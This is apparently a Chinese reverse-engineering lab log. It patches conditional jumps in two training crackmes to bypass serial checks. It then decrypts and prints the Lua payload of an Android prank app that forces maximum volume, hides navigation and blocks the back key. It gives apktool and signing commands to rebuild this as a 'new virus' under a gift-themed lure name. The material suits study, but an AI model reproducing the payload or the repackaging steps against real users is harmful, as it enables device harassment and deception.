前言
某逆向实训记录
工具
PEiD:一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名。内置有差错控制的技术,所以一般能确保扫描结果的准确性。前两种扫描模式几乎在瞬间就可得到结果,核心扫描较慢
ILspy:一个开源的 .net 反编译软件,使用十分方便。支持C#和vb:可以将一个 .dll 文件转换为C#或VB语言。支持保存文件:对于单个文件可以保存为 .cs 文件或 .vb 文件,当文件较多时,可以选择保存为项目文件。支持C#的反编译:C#语句可被反编译出来,并可支持yield return 语句和 lambda 表达式的反编译。
OllyDbg:一种具有可视化界面的32位汇编分析调试器,是一个新的动态追踪工具,将 IDA 与 SoftICE 结合起来的思想,Ring3级调试器,非常容易上手,已代替SoftICE成为当今最为流行的调试解密工具了。同时还支持插件扩展功能,是目前最强大的调试工具。中文版界面清晰,易于操作。
0:一次简单的程序逆向
目的
通过逆向分析小程序,复现小程序的源代码从而破解小程序
内容
- 查壳
- 反编译
- 复现源代码
- 查看正确的通关密钥
思路
先运行程序,看看程序的本质是什么,干什么
PEiD 看程序是什么类型,辨别是什么语言编写的,然后选择合适的工具分析
通过 PEiD 辨别出是什么语言编写的,就可以运用相应的工具去分析;比如 dotnet 可以使用 ILSpy,c/c++,win 分析和 IDApro 静态分析,根据程序的复杂度选择合适的工具分析
通过关键字快速寻找flag
程序断点动态分析或者静态分析算法最终完成逆向得到flag
步骤
下载所需破解的小程序(这里以 ald阿拉丁神灯 为例),测试通关密语
利用查壳工具查看ald的编译语言(PEiD):
可以看到是 C# 编译的,所以我们可以用 iLSpy 来查看源代码
观察源码结构,从刚才测试 ald 程序的过程中可知当我们按下按钮时会判断密语正确与否
那么先查看上面的 Button1_Click 源码
这里与明文密语比较进行判断,那么可知密语为:zhimakaimen@2011
1:软件破解入门(暴力破解CrackMe)
概述
所谓暴力破解,就是通过修改汇编代码进而控制程序的运行流程,达到不需注册码也能正常使用软件的目的
步骤
以《加密与解密》中的CFF CrackMe #3程序为例
是一个注册机
查壳
用 Delphi 写的,无壳
OllyDbg 载入此程序,使用的是W32Dasm,属于静态反汇编软件,支持WIN API,具有强大的串式参考功能
在反汇编窗口 “右键——查找——所有参考文本字符串”
再右键查找文本
这里查找整个范围下的 Wrong 字符串
找到 Wrong Serial,try again! ,右键——反汇编窗口中跟随
分析程序流程:
输入ID和注册码后,
00440F34 处的 call 调用子函数来判断ID是否为 Registered User(00440F34处,call 00403B2C处的子函数)
如果不正确,一个 jnz 跳到 00440F8C,弹出 "Wrong Serial, try again!"
00440F51 处的 call 调用子函数来判断注册码是否为 GFX-754-IER-954(00440F51处,call 00403B2C处的子函数)
如果不正确,一个 jnz 跳到 00440F72 ,弹出 "Wrong Serial, try again!"
所以正确的ID和注册码是这里硬编码的Registered User : GFX-754-IER-954
不过我们这里要学习的是暴力破解
现在在任意一个 call 00403B2C 前面 f2 下个断点,看看 call 了个什么函数,这里选择在验证 id 的部分下断点
f9 调试程序,随便输入一个错误的id:test 和错误的注册码:123-456-789,按下注册
跟进,直到 00440F34 的 call 指令,f7 单步步入检验函数(此函数地址在 00403B2C)
可以观察到 eax 存储了我们的 id,edx 存储了正确的 id
在 00403B33 会进行 cmp 比较
从代码中可以发现,程序将输入的注册码与内置的注册码用cmp指令做了比较。(cmp 指令执行后,将对标志寄存器 ZF 产生影响。比如 CMP AX , BX ,当AX=BX时,ZF=1;AX!=BX时,ZF=0。)
也就是说,如果注册码与输入的字符串不相等,ZF=0。此时子程序返回,执行 00440F39 处的 JNZ 指令。因为输入的注册码不对,ZF=0,开始执行 JNZ,跳转到 00440F8C,弹出 Wrong Serial 对话框提示注册码错误。
这就是“关键跳”,如果将 JNZ(ZF=0时就跳转)改为 JE(ZF=1时就跳转),得到的结果就会正好相反,即错误的注册码反而会提示注册成功,对的注册码反而会提示错误
那么现在找出那两个“关键跳”(输入ID时call了一下,然后一个jnz。输入注册码时又call了一下,再一个jnz。),
接下来修改汇编代码,双击对应的 JNZ 指令,弹出“汇编于此处”的对话框。将只需将 jnz 改为 je ,点击“汇编”即可。用同样的方法修改另一处 jnz
修改完毕,右键——复制到可执行文件——所有修改
接下来 f9 再次执行,随便输入账号和许可即可返回注册成功
2:OllyDbg实现TraceMe软件逆向
概述
本实验采用软件 OllyDbg 对软件进行爆破,TraceMe 是一个用于逆向工程研究的 exe 可执行文件,双击打开它会出现一个需要输入用户名与密码的界面,正确的用户名与密码只有一个,只有当输入的用户名与密码正确时才会显示成功,本实验使用 OllyDbg 分析其源码,找到关键跳转的代码,并进行爆破,达到输入什么用户名与密码都会显示成功的目的,并且导出为可执行文件。
步骤
运行TraceMe
查壳
无壳,是 c++ 写的
Ollydbg打开 TraceMe 进行调试
刚打开时发现光标停在004013A0处,此处为程序的入口点(EntryPoint)
前面观察到这个程序有两个输入框,有输入的话程序必然要从输入框中读取字符,而读取字符通常使用使用的 API 是 GetDlgItemText 或者 GetWindowText 函数,也可以发送消息直接获取文本框中的文本
不过一般情况下,我们是没有办法直接知道程序用了什么函数来处理字符,多多尝试
快捷键 Ctrl+G,可以打开一个跟随表达式窗口,如图,输入 GetDlgItemTextA ,回车跳转(PS:OD对大小写敏感)
跳转至 75207A60,GetDlgItemTextA 函数的入口点,f2下断点
f9运行程序,输入数据check
它会断在我们刚才下断点的地方,之后f8单步执行,刚才下断点的地方要执行经过两次,因为我们的程序有两个输入框,可以直接ctrl+f9 运行到函数内的 return
一般API函数都服从 __stdcall 调用约定,即函数入口参数按从左到右的顺序入栈,由被调用者清理栈中的参数,返回值放在 eax 寄存器中
此时我们的用户名和序列号分别在 edx 和 eax 寄存器中
继续向下执行,可以看到这里有一个判断
test eax,eax
,判断 eax 是否 = 0eax=0表示注册失败,eax=1表示注册成功,下面的跳转语句,若不跳转表示成功
所以,我们可以让其跳转失效,有两种方法,第一种是将标志寄存器 zf 标志位由1变为0就可以了,但是这种方法有个问题就是没有办法保存,下次运行就会失效,第二种方法是将跳转语句用 nop 指令填充,然后保存
这里采用第二种方法,右键将
je short TraceMe.0040122E
nop掉右键选择复制到可执行文件==>所有修改
在弹出的窗口中鼠标右键后选择保存文件
这边调试继续运行能获得成功的回显
刚才保存的程序也能正常运行并成功回显
3:基于apktool的病毒分析与制作
概述
熟悉对病毒的逆向工程,也熟悉逆向工程相关工具的使用,最后通过逆向工程实现对病毒的分析以及重新制作新的病毒
工具
- apktool:可以反编译软件的布局文件、图片等资源。
- dex2jar:将apk反编译成java源码(classes.dex 转化成 jar 文件)
- jd-gui:查看APK中classes.dex转化成出的jar文件,即源码文件。
步骤
将后缀改为.zip文件并做简单分析,apk 和 jar 包一样,都可以被解压
可以看到 assets 下有一个音频文件和2个 .lua 文件
使用apktool进行反编译
java -jar apktool_2.10.0.jar d 一份礼物.apk
文件结构:
assets:存放资源文件,包含Lua脚本lua和音频文件mp3
lib:本地库(Native Library)文件夹,包含编译后的本地代码(Native Code)的so文件
smail:存放smail文件,包含Dalvik字节码,是对App的Java代码反向成中立字节码的结果
AndroidManifest.xml:包含App的信息,App名为送给最好的TA,包名为 com.sgzh.dt
<activity android:configChanges="keyboardHidden|orientation|screenSize" android:label="送给最好的TA" android:name="com.androlua.LuaActivity" android:theme="@style/app_theme"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="androlua"/> <data android:host="com.sgzh.dt"/>
将文件夹里的音频文件替换
将前面解压出来的 class.dex 文件放入 dex2jar 工具里进行反编译成 Java 源码
d2j-dex2jar.bat classes.dex
使用 jd-gui 对Java源码进行分析
大部分代码均来自于AndroLua_pro,AndroLua_pro 是一个使用 Lua 编写 Android 应用的项目,换而言之,Java部分极有可能并不是应用的主体部分,重要操作很有可能会写在Lua
除了AndroLua_pro的代码外,我们还发现了com.b.a.a、com.b.a.b 这两个经过混淆的包名,经过查证得知里面的代码来源 TextWarrior
那么还是把重点放在分析 Lua 脚本,打开 assets 下的 init.lua 和 main.lua 发现全是乱码也不是字节码,应该是被加密了
找一下加载 lua 脚本的地方
跟踪这里的 luaState 类
引入了一个 lib 库,可知加密使用的是 /lib/armeabli-v7a/libluajava.so
使用 ida 逆向这个 so 文件,找 luaState 类里面的方法对应的函数
在 luaL.loadbufferx 函数中发现解密的过程
用 pcat 大佬的解密脚本:
# -*- coding:utf8 -*- __author__='pcat@chamd5.org' __blog__='http://pcat.cc' from ctypes import * import sys def decrypt(filename): s=open(filename,'rb').read() outfile='init_out.lua' if s[0]==chr(0x1b) and s[1]!=chr(0x4c): rst=chr(0x1b) size=len(s) v10=0 for i in range(1,size): v10+=size v=(c_ulonglong(-2139062143*v10).value>>32)+v10 v1=c_uint(v).value>>7 v2=c_int(v).value<0 rst+=chr(ord(s[i])^(v10+v1+v2)&0xff) with open(outfile,'wb') as f: f.write(rst) else: pass def foo(): if len(sys.argv)==2: filename=sys.argv[1] else: filename='init.lua' decrypt(filename) if __name__ == '__main__': foo()
解密后的 lua 文件:
init.lua
local L0_0 appname = "\233\128\129\231\187\153\230\156\128\229\165\189\231\154\132TA" appver = "1.0" appcode = "10" appsdk = "15" path_pattern = "" packagename = "com.sgzh.dt" theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth" app_key = "" app_channel = "" developer = "" description = "" debugmode = false L0_0 = { "INTERNET", "WRITE_EXTERNAL_STORAGE" } user_permission = L0_0
main.lua
require("import") import("android.app.*") import("android.os.*") import("android.widget.*") import("android.view.*") import("android.view.View") import("android.content.Context") import("android.media.MediaPlayer") import("android.media.AudioManager") import("com.androlua.Ticker") activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) m = MediaPlayer() m.reset() m.setDataSource(activity.getLuaDir() .. "/0.mp3") m.prepare() m.start() m.setLooping(true) ti = Ticker() ti.Period = 10 function ti.onTick() activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) end ti.start() function onKeyDown(A0_0, A1_1) if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) end return true end
具体的操作有以下内容
将系统音量调至最大
隐藏系统导航栏,并进入沉浸模式(全屏)
每10tick,重复以上步骤使得无法主动调低音量
循环播放音频文件0.mp3
阻止使用返回键
使用 apktool 将改文件夹进行回编译生成新的病毒文件
java -jar apktool_2.10.0.jar b 一份礼物
windows下由于中文路径的原因报错了,这里选用wsl
将新的 test.apk 文件用 auto-sign 工具进行签名
java -jar signapk.jar testkey.x509.pem testkey.pk8 test.apk 送给最好的TA.apk
安装 送给最好的TA.apk 到模拟器并启动
一阵强劲的音乐响起,似乎是一首很新的歌蕉